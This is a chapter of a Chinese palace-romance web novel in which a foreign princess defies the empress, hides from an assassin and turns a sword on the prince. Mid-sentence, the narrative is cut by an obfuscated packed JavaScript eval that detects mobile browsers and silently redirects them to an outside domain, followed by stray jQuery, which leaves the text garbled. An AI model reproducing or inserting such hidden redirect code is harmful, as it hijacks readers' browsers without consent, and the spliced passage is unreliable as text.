55. 兴师问罪
作品:《疯狗难养【巨好看!看看我!】》 段秋平在宋音之的搀扶下,下了床,自己把一身脏衣服换了下来。
他有些歉疚地看着宋音之,正待要说些什么,却被一声尖细嗓子喊出的一声“皇后娘娘驾到”给打断。
二人齐齐转过头看着皇后,她今天来得阵仗真是浩大,宫女奴才们站成阵地跟在她身后,把她衬得像一只开屏的孔雀。然而,眼里没有丝毫喜悦之情,那双刻满了凉薄的眸子不看段秋平这个病人,反而牢牢定在宋音之身上。
“殿下醒了,怎么也不叫人通传本宫一声,不是告诫过你要记得第一时间禀报吗?”
听着这兴师问罪的语气,宋音之却昂了昂头,日久以来寄人篱下、小心翼翼的日子她过够了。每天为了护着脖子上的那一颗脑袋,她受够了委屈,还不是照样差点护不住。
她怒道:“尽管没有禀告,娘娘还不是照样第一时间得了消息?既然早已安插好了眼线监视我,又何必假惺惺、假装您还只等着我这一条消息来呢?”
大概从来没有受过这样的直言顶撞,皇后将嘴唇嚅嗫半天,只能说出一个“放肆”来。常常处于权利顶端的人,勾心斗角的周旋惯了,突然一下来个锋芒毕露的攻击,很难招架。只是这么一闹,少不得要暗暗在宋音之头上添一笔账。
段秋平握着拳头,忽然疾咳几声,将一屋人的视线吸引了过去,才缓缓开口道:“儿臣尚在病中,离不开人照料,不好给皇后请安了。”
这话说得不动声色,是在给宋音之开脱呢。说她忙着照料自己,没来得及给皇后传消息。皇后将这层意思理解得真切,不好再计较,段秋平这身影在阎王屁股后面一闪一闪的,搞得她也失了分寸。一开始,她觉得这姑娘省心,可是后来她和段秋平的事越闹越大,自己赔命不说,还将段秋平差点置于死地。
作为一个母爱泛滥的女人,前半生缺失的所有情感仿佛就是为了积聚在不惑之年,来个一鸣惊人的。段秋平成为了那个幸运儿。连耗费了半生精力的玩权弄术都要排在他之后,更何况宋音之一个外族人。
心中思绪万千,面上已经没什么好说的了,只是不满地看宋音之一眼,象征着寒暄几句就走了。宋音之站在原地不再动,思忖着皇后此行的目的是不是就是指责她的。
袖子忽然被人抓住,宋音之没好气地甩开:“有话就说,少在我面前装可怜。”
段秋平的手僵在半空,也没有再动怒,而是奇怪道:“你今天怎么了,谁犯了你的忌讳?说起话来谁的面子也敢拂。”
宋音之后退着,咬牙道:“只是不想再受你们这群人的憋屈。”指着段秋平,细数,“段秋平,自从我来到若羌,你做过什么好事?除了杀人你还会干什么?你就知道逼迫我、吓唬我,就连你昏迷的这段时间……”
宋音之将嘴一瘪,委屈至极了:“我受了宫里不知多少人的埋怨,他们指责的话语或有心或无意地往我耳朵里传,我闭上耳朵不想听,那些话仿佛就在心里扎根一样。”
说完了又转过身:“我不要跟你这么纠缠下去,大不了以后你随意纳妾,再也别来找我。至于我们两个人之间,老死不相往来吧。”
忍住哽咽,故作潇洒,她说话一字一句的,跟念书一样:“至于你我二人的婚姻,事关两国大事,不太容易放弃的。如果你实在受不了我白在这皇宫里呆着,那我……那我……”
话到最后,停住了。一方面是因为受了委屈,泣不成声;另一方面,她确实说不出什么好办法了。
段秋平侧躺在床上,要下床。听见身后的声响,宋音之迈开步子快速跑开了。只留着段秋平盯着她的背影出神。
他双眼无神地低下头:“你真的接受不了我了吗?”
正想着,突然剧烈咳嗽起来,站在外头的小丫头很有眼色地站进来,要为段秋平擦拭,被他用手轻轻挥开,挥手让人出去,自己坐在床边,长长地叹了口气。
宋音之像逃离鬼魅一样逃离段秋平,耳边是自己的呼吸声,因此丝毫没有察觉到身后有人跟着。
她跑到一颗高高的树木前站定,过了一会儿觉得腿脚发软,便蹲下来休息。她身形一动,刚一蹲下来,就见一支迅疾的箭直至直射到了树上,力道之大让树木轻轻振动,不少树叶掉下来,落到宋音之身上。
她惊魂未定地抬头,那是她刚刚的站位。
宋音之猛然出了一身惊汗。她迅速爬到草丛中央,驼着刚刚落到身上的厚厚的一沓绿叶,彻底与一片绿意融到一起,她再也不敢动弹,紧紧捂住口鼻,仿佛心脏要从里头跳出来一样,打鼓一般的声音。
她眼珠子滴溜溜乱转,谁?是谁要害她?段秋平?还没想出个结果来,那背后背着箭筒的男人走近。穿着暗卫的制服。宋音之心凉了半截。段秋平现在独揽若羌的大权,原本归皇帝管辖的暗卫,可不就是归他管嘛!
现在他派人要杀她。在若羌的皇宫里,她半点活路都没有。宋音之绝望地闭上眼睛,连呼吸都不敢了。
面前一点声音都没有,暗卫都是从小受过训练的,来去无声。宋音之连眼睛都不敢睁开。闭着眼几乎是把每一秒当作最后一刻来过,紧张得要命,脑子却出奇的清醒:是了,她刚刚才跟段秋平说过要老死不相往来的话,段秋平不想在宫里白养着她。而两国建交的大事不能被他这一方决定,退婚退不了,最省事的方法不就是让她暴毙在若羌的皇宫里吗。
宋音之呼吸颤抖着,另一个声音在疯狂叫嚣,他们之间不是没有过真情,那一点点的感情在疯狂地挣扎,段秋平他到底会不会这样。
可是除了段秋平,还有谁有能力让暗卫置她于死地?
宋音之心痛,段秋平啊,他确实是一个凉薄之人,这么长时间的相处,她看透了。宋音之不该希冀他会挂念什么往日情分。
可是这么死了,她实在不甘。
身体太过紧张,腿就不受控制地抽搐了一下。宋音之认命地扭过头。祸不单行。
可笑的是,头顶没有任何动静传来,她大着胆子抬起头看了看,那暗卫早已经越过她,朝前寻去。
宋音之松了一口气,等他彻底消失在自己视线里,她猛地站起身,眼神复杂地看向段秋平的寝宫。他如果真心要自己死,她肯定是活不成了。除非,她捏着段秋平的什么命脉。
宋音之防备着身后的动静,按着原路返回去。在路上,她忽然停下来,从兜里掏出那丸熟悉的药丸来,这是差点害她送命的药。当初在挣扎之中,她手脚乱扑腾时无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16007631|178370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意拽下的一丸。
她没办法,只能铤而走险。
短短的几步路,她跑起来就觉得有无尽长,跑到段秋平的寝宫门口,居然又觉得莫名安心。忍不住谴责自己,里头的人要置自己于死地,她怎么还生出了这样的感觉,太奇怪了。
她呼吸了几口气,横竖是死,不如狠狠发泄一通也叫死得值。她用力地拍门,惹得抱着花路过的宫人侧目而视。她知道如今宫里的人都对她没有什么好脸色,宋音之一跺脚:“看什么看!”
将那宫人吓走了,她神清气爽地一笑,不用受委屈的日子真好。那张笑脸还没收回来,段秋平开了门:“殿下?”
宋音之马上收起了好脸色,越过段秋平自顾自地坐进去。她满心满意以为无论怎样自己的性命要到头了,索性什么也不顾,看了眼被子掀得大开的床铺,不管不顾地坐上去。
宋音之斟酌着:“段秋平,如果我死了,你也活不了。”
她努力组织着语言:“你……昏迷时的喝药里,被我做了手脚……”这话底气没那么足,宋音之为了掩饰,紧接着大吼道:“听见了没!”
段秋平的表情很微妙:“你真以为,编几个谎话就能让我入套了?”走近几步,在离她不远不近的地方站定,“有什么话直说就好,要论拐弯抹角,你也拐不过我。”
……这话倒是真的,宋音之无话可说。心里暗骂:小心眼的男人,不就是说了你几句,至于要人性命嘛。不过想想也是,连乱嚼舌根的宫人都尽数被他砍了头,段秋平真是受不得一点闲言碎语。
宋音之指责:“别人不敢说的,我偏要说,你要是当了皇帝,也是个刚愎自用的昏君。”
段秋平面上不变,却有些一头雾水了。只当是宋音之无理取闹,背过身喝茶不做理会。
宋音之恨恨地看着段秋平,气得牙痒痒:“你可以光明正大的杀我,现在就杀,反正我该说的话都说完了。”
“杀你?”段秋平嗤笑,逗弄道,“不着急。”
说罢又饶有兴趣地问:“殿下原来是活腻了啊。”
这话听在宋音之耳朵里全是赤裸裸的威胁。她心里暗暗发狠,想着段秋平现在身体还没恢复,干脆一不做二不休,管它有没有活路,她不能容忍弄死她的人还堂而皇之地活在世上,不如让她先动手。
宋音之上前一步取过墙上挂的长剑,挥舞着砍过去。段秋平躲闪不及,逃避中撞到桌角,捂着腹部弯着腰躲得更为狼狈,意识到宋音之这回动了真格,他举着手想说些什么,宋音之根本不给他任何机会。
步步紧逼,桌子挨了好几下,桌角被劈开,茶水点心撒了一地,整个空间都是叮叮当当的各种物品落地的声音,段秋平逼不得已,徒手将那剑刃接住:“你闹什么?”宋音之用力一抽,段秋平的五指几乎断掉,另一只手死死捏着那只手腕,弯着腰痛苦万状,血撒了一地。
痛心着问:“你真的要置我于死地。”
宋音之何尝不心痛,既然段秋平要杀她,那她没有任何胜算,她大着胆子走到这一步,再也没有退路了:“不是你死就是我亡。”
说出这句话,心如刀绞。如果不是段秋平铁了心要对她斩尽杀绝,她怎么会这样子呢?